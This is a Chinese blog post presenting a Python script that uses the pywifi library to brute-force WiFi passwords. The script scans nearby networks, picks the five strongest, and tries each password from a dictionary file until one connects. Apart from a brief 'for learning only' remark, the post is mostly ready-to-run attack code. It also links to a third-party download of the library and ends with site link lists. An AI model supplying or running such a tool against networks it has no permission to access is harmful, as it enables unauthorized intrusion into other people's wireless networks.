Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
详解python之简单主机批量管理工具
Jan 27 Python
Apache如何部署django项目
May 21 Python
python运行其他程序的实现方法
Jul 14 Python
详谈套接字中SO_REUSEPORT和SO_REUSEADDR的区别
Apr 28 Python
Python2.7版os.path.isdir中文路径返回false的解决方法
Jun 21 Python
django最快程序开发流程详解
Jul 19 Python
python利用JMeter测试Tornado的多线程
Jan 12 Python
anaconda3安装及jupyter环境配置全教程
Aug 24 Python
python list的index()和find()的实现
Nov 16 Python
为2021年的第一场雪锦上添花:用matplotlib绘制雪花和雪景
Jan 05 Python
使用python向MongoDB插入时间字段的操作
May 18 Python
Python趣味挑战之给幼儿园弟弟生成1000道算术题
May 28 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
漂亮但不安全的CTB
2006/10/09 PHP
php结合表单实现一些简单功能的例子
2011/06/04 PHP
PHP调用Linux的命令行执行文件压缩命令
2013/01/27 PHP
php实现查看邮件是否已被阅读的方法
2013/12/03 PHP
destoon供应信息title调用出公司名称的方法
2014/08/22 PHP
php用户登录之cookie信息安全分析
2016/05/13 PHP
PHP strip_tags保留多个HTML标签的方法
2016/05/22 PHP
javascript eval函数深入认识
2009/02/21 Javascript
获取select元素被选中的文本内容的js代码
2014/01/29 Javascript
jQuery实现鼠标经过图片变亮其他变暗效果
2015/05/08 Javascript
jQuery实现多级下拉菜单jDropMenu的方法
2015/08/28 Javascript
JavaScript黑洞数字之运算路线查找算法(递归算法)实例
2016/01/28 Javascript
Backbone View 之间通信的三种方式
2016/08/09 Javascript
原生JS实现图片轮播切换效果
2016/12/15 Javascript
原生Javascript插件开发实践
2017/01/09 Javascript
js解决软键盘遮挡输入框的问题分享
2017/12/19 Javascript
使用 vue.js 构建大型单页应用
2018/02/10 Javascript
微信小程序引用iconfont图标的方法
2018/10/22 Javascript
electron-vue利用webpack打包实现多页面的入口文件问题
2019/05/12 Javascript
JS代码检查工具ESLint介绍与使用方法
2020/02/04 Javascript
Python strip lstrip rstrip使用方法
2008/09/06 Python
Python实现提取谷歌音乐搜索结果的方法
2015/07/10 Python
详解python string类型 bytes类型 bytearray类型
2017/12/16 Python
Python实现聊天机器人的示例代码
2018/07/09 Python
浅谈Python编程中3个常用的数据结构和算法
2019/04/30 Python
Python读取表格类型文件代码实例
2020/02/17 Python
Python描述符descriptor使用原理解析
2020/03/21 Python
在keras下实现多个模型的融合方式
2020/05/23 Python
python简单实现9宫格图片实例
2020/09/03 Python
OpenCV利用python来实现图像的直方图均衡化
2020/10/21 Python
有影响力的品牌之家:Our Social Collective
2019/06/08 全球购物
饮料业务员岗位职责
2013/12/15 职场文书
电信营业员岗位职责
2015/04/14 职场文书
MySQL数据库压缩版本安装与配置详细教程
2021/05/21 MySQL
MySQL库表名大小写的选择
2021/06/05 MySQL
MySQL解决Navicat设置默认字符串时的报错问题
2022/06/16 MySQL